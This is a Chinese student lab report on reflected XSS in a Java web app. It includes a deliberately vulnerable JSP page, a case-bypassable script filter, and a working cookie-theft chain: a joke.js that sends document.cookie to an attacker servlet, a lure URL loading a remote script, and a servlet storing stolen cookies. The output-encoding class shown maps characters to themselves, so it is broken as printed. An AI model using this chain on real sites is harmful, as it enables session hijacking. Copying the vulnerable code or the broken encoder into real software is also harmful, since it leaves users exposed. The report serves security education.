网络安全学习第8篇 - xss攻击(java实现反射型xss攻击,发送链接诱骗点击,编写服务端获取客户端的cookie信息)

请依据课堂所讲解的关于XSS攻防的技术知识,结合你所学过的Web前端编程技术,自行设计一套XSS攻防流程。要求:

1、攻防技术的实现既要有深度也要有广度。

2、需要设计一个前端页面。

3、提交时请提交实验报告以及Web前端代码。

实验文件.rar


 

(1)什么是xss?

跨站脚本(cross site script)为了避免与样式css混淆,所以简称为XSS。

XSS是一种经常出现在web应用中的计算机安全漏洞,也是web中最主流的攻击方式。那么什么是XSS呢?

XSS是指恶意攻击者利用网站没有对用户提交数据进行转义处理或者过滤不足的缺点,进而添加一些代码,嵌入到web页面中去。使别的用户访问都会执行相应的嵌入代码。

从而盗取用户资料、利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式。

XSS攻击的危害包括:

1、盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号

2、控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力

3、盗窃企业重要的具有商业价值的资料

4、非法转账

5、强制发送电子邮件

6、网站挂马

7、控制受害者机器向其它网站发起攻击

(2)xss攻击分类:

<1>放射型xss攻击:

又称为非持久性跨站点脚本攻击,它是最常见的类型的XSS。漏洞产生的原因是攻击者注入的数据反映在响应中。一个典型的非持久性XSS包含一个带XSS攻击向量的链接(即每次攻击需要用户的点击)。

 

如:

简单例子

正常发送消息:

http://www.test.com/message.php?send=Hello,World!

接收者将会接收信息并显示Hello,Word

非正常发送消息:

http://www.test.com/message.php?send=<script>alert(‘foolish!’)</script>!

接收者接收消息显示的时候将会弹出警告窗口

我做的实例:

前端代码:(xss_hsb_20190512)

 <body>

   <%

   request.setCharacterEncoding("utf-8");

   %>

   <form action="indexDeal">

   <center>

   测试1:<input type="text" name="try01" value=""/>

     <input type="submit" value="提交"/>

     </center>

    </form>

     <%

   String responseTry01 = request.getParameter("responseTry01");

   if(responseTry01 != null)

   {

   %>

   <center><a><font color="red"><%=responseTry01 %></font></a></center>

   <script type="text/javascript" language="javascript">

      var a1 = <%=responseTry01%>

      document.write(a1);

      </script>

   <% 

   }

     %>

   

     <form action="indexDeal">

   <center>

   测试2:<input type="text" name="try02" value=""/>

     <input type="submit" value="提交"/>

     </center>

    </form>

     <%

   String responseTry02 = request.getParameter("responseTry02");

   if(responseTry02 != null)

   {

   %>

   <center><a><font color="red"><%=responseTry02 %></font></a></center>

   <script type="text/javascript" language="javascript">

      var a2= <%=responseTry02 %>

      document.write(a2);

    </script>

   <% 

   }

     %>

   

    <form action="indexDeal">

   <center>

   测试3:<input type="text" name="try03" value=""/>

     <input type="submit" value="提交"/>

     </center>

    </form>

     <%

   String responseTry03 = request.getParameter("responseTry03");

   if(responseTry03 != null)

   {

   %>

   <center><a><font color="red"><%=responseTry03 %></font></a></center>

   <script type="text/javascript" language="javascript">

    var a3 = <%=responseTry03 %>

      document.write(a3);

    </script>

   <% 

   }

     %>

     

     <form action="Controller">

      <center>

      请输入你的留言:<input type="text" name="message" />

      账号:<input type="text" name="name"/>

      密码:<input type="password" name="password"/>

      <input type="submit" value="提交"/>

      </center>

     </form>

     

  </body>

</html>

后端代码:

package xss_hsb_20190512;

 

import java.io.IOException;

import java.net.URLEncoder;

 

import javax.servlet.ServletException;

import javax.servlet.http.HttpServlet;

import javax.servlet.http.HttpServletRequest;

import javax.servlet.http.HttpServletResponse;

 

public class indexDeal extends HttpServlet

{

public void doGet(HttpServletRequest request,HttpServletResponse response) throws ServletException,IOException

{

doPost(request,response);

}

 

public void doPost(HttpServletRequest request,HttpServletResponse response) throws ServletException,IOException

{

//测试01

request.setCharacterEncoding("utf-8");

String try01 = request.getParameter("try01");

if(try01 != null)

{

System.out.println("try01="+try01);

// try01 = "pragram(01) " + try01;

// try01 += " try success";

response.setCharacterEncoding("UTF-8");

response.setContentType("text/html;charset=utf-8");

response.sendRedirect(request.getContextPath()+"/index.jsp?responseTry01="+URLEncoder.encode(try01 ,"UTF-8"));

}

//测试02

String try02 = request.getParameter("try02");

if(try02 != null)

{

System.out.println("try02="+try02);

if(try02.contains("<script>"))

{

try02 = "this pragram(02) is malice";

}

else

{

// try02 += " try success";

}

response.setCharacterEncoding("UTF-8");

response.setContentType("text/html;charset=utf-8");

response.sendRedirect(request.getContextPath()+"/index.jsp?responseTry02="+URLEncoder.encode(try02 ,"UTF-8"));

}

//测试03

String try03 = request.getParameter("try03");

if(try03 != null)

{

System.out.println("try03="+try03);

if(try03.toLowerCase().contains("<script>"))

{

try03 = "this pragram(03) is malice";

}

else

{

// try03 += " try success";

}

response.setCharacterEncoding("UTF-8");

response.setContentType("text/html;charset=utf-8");

response.sendRedirect(request.getContextPath()+"/index.jsp?responseTry03="+URLEncoder.encode(try03 ,"UTF-8"));

}

}

}

测试1是不作任何过滤,我输入<script>alert("xss攻击")</script>,直接弹窗,攻击成功

网络安全学习第8篇 - xss攻击(java实现反射型xss攻击,发送链接诱骗点击,编写服务端获取客户端的cookie信息)

网络安全学习第8篇 - xss攻击(java实现反射型xss攻击,发送链接诱骗点击,编写服务端获取客户端的cookie信息)

测试2我做了script过滤,如果是输入的内容带有script,则这句输入无效。

网络安全学习第8篇 - xss攻击(java实现反射型xss攻击,发送链接诱骗点击,编写服务端获取客户端的cookie信息)

网络安全学习第8篇 - xss攻击(java实现反射型xss攻击,发送链接诱骗点击,编写服务端获取客户端的cookie信息)

可是,假如我把script的某个字母由小写改为大写,则可以跳过过滤

网络安全学习第8篇 - xss攻击(java实现反射型xss攻击,发送链接诱骗点击,编写服务端获取客户端的cookie信息)

网络安全学习第8篇 - xss攻击(java实现反射型xss攻击,发送链接诱骗点击,编写服务端获取客户端的cookie信息)

可是,说实在。我这个只防了script,但是还有很多其他的标签,如frame,img(带攻击的链接图片)等,标签实在非常之多,绕过过滤检测的方法也五花八门,对人们来说简直是防不胜防。所有我就参考了网上一个代码

 

解决方法:

 

一种方法是在表单提交或者url参数传递前,对需要的参数进行过滤,请看如下XSS过滤工具类代码

 

import java.net.URLEncoder;

/**

 * 过滤非法字符工具类

 *

 */public class EncodeFilter {

 

    //过滤大部分html字符

    public static String encode(String input) {

        if (input == null) {

            return input;

        }

        StringBuilder sb = new StringBuilder(input.length());

        for (int i = 0, c = input.length(); i < c; i++) {

            char ch = input.charAt(i);

            switch (ch) {

                case '&': sb.append("&");

                    break;

                case '<': sb.append("<");

                    break;

                case '>': sb.append(">");

                    break;

                case '"': sb.append(""");

                    break;

                case '\'': sb.append("'");

                    break;

                case '/': sb.append("/");

                    break;

                default: sb.append(ch);

            }

        }

        return sb.toString();

    }

 

    //js端过滤

    public static String encodeForJS(String input) {

        if (input == null) {

            return input;

        }

 

        StringBuilder sb = new StringBuilder(input.length());

 

        for (int i = 0, c = input.length(); i < c; i++) {

            char ch = input.charAt(i);

 

            // do not encode alphanumeric characters and ',' '.' '_'

            if (ch >= 'a' && ch <= 'z' || ch >= 'A' && ch <= 'Z' ||

                    ch >= '0' && ch <= '9' ||

                    ch == ',' || ch == '.' || ch == '_') {

                sb.append(ch);

            } else {

                String temp = Integer.toHexString(ch);

 

                // encode up to 256 with \\xHH

                if (ch < 256) {

                    sb.append('\\').append('x');

                    if (temp.length() == 1) {

                        sb.append('0');

                    }

                    sb.append(temp.toLowerCase());

 

                // otherwise encode with \\uHHHH

                } else {

                    sb.append('\\').append('u');

                    for (int j = 0, d = 4 - temp.length(); j < d; j ++) {

                        sb.append('0');

                    }

                    sb.append(temp.toUpperCase());

                }

            }

        }

 

        return sb.toString();

    }

 

    /**

     * css非法字符过滤

     * http://www.w3.org/TR/CSS21/syndata.html#escaped-characters

    */

    public static String encodeForCSS(String input) {

        if (input == null) {

            return input;

        }

 

        StringBuilder sb = new StringBuilder(input.length());

 

        for (int i = 0, c = input.length(); i < c; i++) {

            char ch = input.charAt(i);

 

            // check for alphanumeric characters

            if (ch >= 'a' && ch <= 'z' || ch >= 'A' && ch <= 'Z' ||

                    ch >= '0' && ch <= '9') {

                sb.append(ch);

            } else {

                // return the hex and end in whitespace to terminate

                sb.append('\\').append(Integer.toHexString(ch)).append(' ');

            }

        }

        return sb.toString();

    }

 

    /**

     * URL参数编码

     * http://en.wikipedia.org/wiki/Percent-encoding

     */ 

    public static String encodeURIComponent(String input) {

        return encodeURIComponent(input, "utf-8");

    }

 

    public static String encodeURIComponent(String input, String encoding) {

        if (input == null) {

            return input;

        }

        String result;

        try {

            result = URLEncoder.encode(input, encoding);

        } catch (Exception e) {

            result = "";

        }

        return result;

    }

 

    public static boolean isValidURL(String input) {

        if (input == null || input.length() < 8) {

            return false;

        }

        char ch0 = input.charAt(0);

        if (ch0 == 'h') {

            if (input.charAt(1) == 't' &&

                input.charAt(2) == 't' &&

                input.charAt(3) == 'p') {

                char ch4 = input.charAt(4);

                if (ch4 == ':') {

                    if (input.charAt(5) == '/' &&

                        input.charAt(6) == '/') {

 

                        return isValidURLChar(input, 7);

                    } else {

                        return false;

                    }

                } else if (ch4 == 's') {

                    if (input.charAt(5) == ':' &&

                        input.charAt(6) == '/' &&

                        input.charAt(7) == '/') {

 

                        return isValidURLChar(input, 8);

                    } else {

                        return false;

                    }

                } else {

                    return false;

                }

            } else {

                return false;

            }

 

        } else if (ch0 == 'f') {

            if( input.charAt(1) == 't' &&

                input.charAt(2) == 'p' &&

                input.charAt(3) == ':' &&

                input.charAt(4) == '/' &&

                input.charAt(5) == '/') {

 

                return isValidURLChar(input, 6);

            } else {

                return false;

            }

        }

        return false;

    }

 

    static boolean isValidURLChar(String url, int start) {

        for (int i = start, c = url.length(); i < c; i ++) {

            char ch = url.charAt(i);

            if (ch == '"' || ch == '\'') {

                return false;

            }

        }

        return true;

    }

 

}

 

上面这个过滤类基本可以把url传参的参数拦截,而反射型xss攻击的到底有什么危害呢?

 

首先说一下反射型xss攻击是:

 

XSS反射型攻击,恶意代码并没有保存在目标网站,通过引诱用户点击一个链接到目标网站的恶意链接来实施攻击的。

 

光说不练假把戏,下面我就写了个反射型xss攻击的实例:

 

这个是xss_attack服务端,主要是黑客们设置的服务器,可以给黑客们发出的钓鱼url链接服务,joke.js就是一个脚本,通过用户访问链接,这个链接是某个黑客想要获取用户账号的某个网站(带有xss漏洞),在这个链接中传一个参数,而参数后面带着的是如:

<script src="http://saintcoder.duapp.com/joke/joke.js"></script>

之类的链接,但用户点击链接就会访问黑客想要获取你的cookie信息的网站,网站获得解释这个参数,而参数中带有上面这个script脚本,就会解释脚本,这个脚本根据src访问黑客的joke.js文件,里面便是脚本代码,脚本代码就可以获得你的cookie信息,传回到黑客的服务器。黑客便可以获得你的cookie信息,通过cookie信息查找里面是否带有账号和密码,然后就可以登录你的账户了。

 

我的joke.js 代码:

var img = document.createElement('img');

img.width = 0;

img.height = 0;

var cookieValue = document.cookie;

alert("cookieValue="+cookieValue);

img.src = 'http://localhost:8080/xss_attack/Controller?joke=hsb'+encodeURIComponent(cookieValue);

 

我写的url(钓鱼):

localhost:8080/xss_hsb_20190512/index.jsp?responseTry01=%3Cscript%20src=%22http://localhost:8080/xss_attack/joke.js%22%3E%3C/script%3E

 

注:这个url一定要用url编码进行转码,不然带有 < 等敏感字符会给浏览器自动过滤,访问失败,转为url编码可以绕过浏览器的过滤。

 

要获得cookie信息的网站代码就是xss_hsb_20190512的代码.

 

黑客服务端的代码:

 

joke.js(这个是查询获得cookie信息的前端页面)

 

<%@ page language="java" import="java.util.*" pageEncoding="utf-8"%>

<%@ page import="cn.dao.impl.Message" %>

 

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<html>

  <head> 

    <title>获取用户cooked信息</title>

    

<meta http-equiv="pragma" content="no-cache">

<meta http-equiv="cache-control" content="no-cache">

<meta http-equiv="expires" content="0">    

<meta http-equiv="keywords" content="keyword1,keyword2,keyword3">

<meta http-equiv="description" content="This is my page">

 

  </head>

  

  <body>

  <% 

    Message message = new Message();

    List<String> messageList = message.getAllMessage();

    if(messageList != null)

    {

     

      %>

   <center><a>messageList不为空</a></center>

  <%

    for(int i = 0; i < messageList.size(); i++)

    {

  %>

   <center><a>cookie[<%=i %>] = <%=messageList.get(i) %></a></center>

  <%

   }

   }

   else

   {

   %>

    <center><a>message为空!</a></center>

   <%

    }

    %>

  </body>

</html>

 

下面这个是黑客服务器获得cookie信息的servlet类

Controller.Java

 

import java.io.IOException;

import java.sql.SQLException;

 

import javax.servlet.ServletException;

import javax.servlet.http.HttpServlet;

import javax.servlet.http.HttpServletRequest;

import javax.servlet.http.HttpServletResponse;

 

import cn.dao.impl.Message;

 

public class Controller extends HttpServlet{

public void doGet(HttpServletRequest request,HttpServletResponse response) throws ServletException,IOException

{

doPost(request,response);

}

 

public void doPost(HttpServletRequest request,HttpServletResponse response) throws ServletException,IOException

{

System.out.println("进入Controller的doPost");

Message message = new Message();

String myMessageValue = request.getParameter("joke");

 

try {

if(myMessageValue == null || myMessageValue == "" || myMessageValue == " ")

{

System.out.println("myMessageValue(isNULL) : " + myMessageValue);

}

else

{

System.out.println("myMessageValue(notNULL) : " + myMessageValue);

message.insertMessage(myMessageValue);

}

} catch (SQLException e) {

// TODO Auto-generated catch block

System.out.println("插入失败");

e.printStackTrace();

}

response.sendRedirect("/xss_attack/joke.jsp");    

}

}

 

项目结构:

网络安全学习第8篇 - xss攻击(java实现反射型xss攻击,发送链接诱骗点击,编写服务端获取客户端的cookie信息)

网络安全学习第8篇 - xss攻击(java实现反射型xss攻击,发送链接诱骗点击,编写服务端获取客户端的cookie信息)

网络安全学习第8篇 - xss攻击(java实现反射型xss攻击,发送链接诱骗点击,编写服务端获取客户端的cookie信息)

测试:

 

黑客想要获得用户cookie信息的客户端

网络安全学习第8篇 - xss攻击(java实现反射型xss攻击,发送链接诱骗点击,编写服务端获取客户端的cookie信息)

诱骗点击代码:(可以通过发在论坛-留言贴,邮箱),诱骗别人点击

 

localhost:8080/xss_hsb_20190512/index.jsp?responseTry01=%3Cscript%20src=%22http://localhost:8080/xss_attack/joke.js%22%3E%3C/script%3E

 

访问后,这个提示框只是我进行演示使用alert弹出的,可以弹出,做到更隐蔽的作用

网络安全学习第8篇 - xss攻击(java实现反射型xss攻击,发送链接诱骗点击,编写服务端获取客户端的cookie信息)

获得信息:

网络安全学习第8篇 - xss攻击(java实现反射型xss攻击,发送链接诱骗点击,编写服务端获取客户端的cookie信息)

而为什么会通过点击链接而获得你点击的cookie信息呢,主要是开发人员没有对参数进行过滤,从而是参数可以带有script等脚本,获得你的cookie信息,并传回到黑客服务器上。所以我们使用上面那个过滤类可以对这些信息进行过滤。


通过本次实验,我认识了xss攻防:

 

下面我就简单总结一下xss攻击:

 

XSS攻击有2种:   反射型攻击;    存储型攻击

 

XSS反射型攻击,恶意代码并没有保存在目标网站,通过引诱用户点击一个链接到目标网站的恶意链接来实施攻击的。

 

XSS存储型攻击,恶意代码被保存到目标网站的服务器中,这种攻击具有较强的稳定性和持久性,比较常见场景是在博客,论坛、OA、CRM等社交网站上,比如:某CRM系统的客户投诉功能上存在XSS存储型漏洞,黑客提交了恶意攻击代码,当系统管理员查看投诉信息时恶意代码执行,窃取了客户的资料,然而管理员毫不知情,这就是典型的XSS存储型攻击。

 

危害:1.窃取cookies,读取目标网站的cookie发送到黑客的服务器上

 

2.读取用户未公开的资料,如果:邮件列表或者内容、系统的客户资料,联系人列表等等。它可以获取用户的联系人列表,然后向联系人发送虚假诈骗信息,可以删除用户的日志等等,有时候还和其他攻击方式同时实 施比如SQL注入攻击服务器和数据库、Click劫持、相对链接劫持等实施钓鱼,它带来的危害是巨大的,是web安全的头号大敌。

 

解决:

 

1.在表单提交或者url参数传递前,对需要的参数进行过滤

 

2.过滤用户输入的 检查用户输入的内容中是否有非法内容。如<>(尖括号)、”(引号)、 ‘(单引号)、%(百分比符号)、;(分号)、()(括号)、&(& 符号)、+(加号)等。、严格控制输出

 

可以利用下面这些函数对出现xss漏洞的参数进行过滤

 

(1)htmlspecialchars() 函数,用于转义处理在页面上显示的文本。

 

(2)htmlentities() 函数,用于转义处理在页面上显示的文本。

 

(3)strip_tags() 函数,过滤掉输入、输出里面的恶意标签。

 

(4)header() 函数,使用header("Content-type:application/json"); 用于控制 json 数据的头部,不用于浏览。

 

(5)urlencode() 函数,用于输出处理字符型参数带入页面链接中。

 

(6)intval() 函数用于处理数值型参数输出页面中。

 

(7)自定义函数,在大多情况下,要使用一些常用的 html 标签,以美化页面显示,如留言、小纸条。那么在这样的情况下,要采用白名单的方法使用合法的标签显示,过滤掉非法的字符。

 

参考内容:

https://blog.****.net/binyao02123202/article/details/9041113 - 一个危险的XSS案例——轻松拿到登录用户的cookie

https://blog.****.net/qq_21956483/article/details/54377947 - xss攻击原理与解决方法

https://blog.****.net/wuhuagu_wuhuaguo/article/details/79774187 - 反射型XSS漏洞的条件+类型+危害+解决

https://www.cnblogs.com/phpstudy2015-6/p/6767032.html - xss跨站脚本攻击

 

本次实验的优点,缺点:

 

本次实验优点在于把完成了一个反射型xss攻击实例,这个攻击演示了黑客是怎么通过制造钓鱼链接,发送链接给用户,诱骗用户点击从而获得用户cookie信息。可以说是把演示过程说得非常清楚。

 

缺点则是攻击手法缺乏,可以说是比较少了。但是主要是想真实地完成一个黑客通过放射型xss攻击的实例。这个可以对黑客反射型xss攻击了解更深,比那些单纯对文本框使用弹出攻击提示框更有效。成果更显著。第二则是:防御方面做得比较简单,主要也是自己觉得网上找一个过滤类,使用就可以免除大部分xss攻击了。


代码已经上传~~~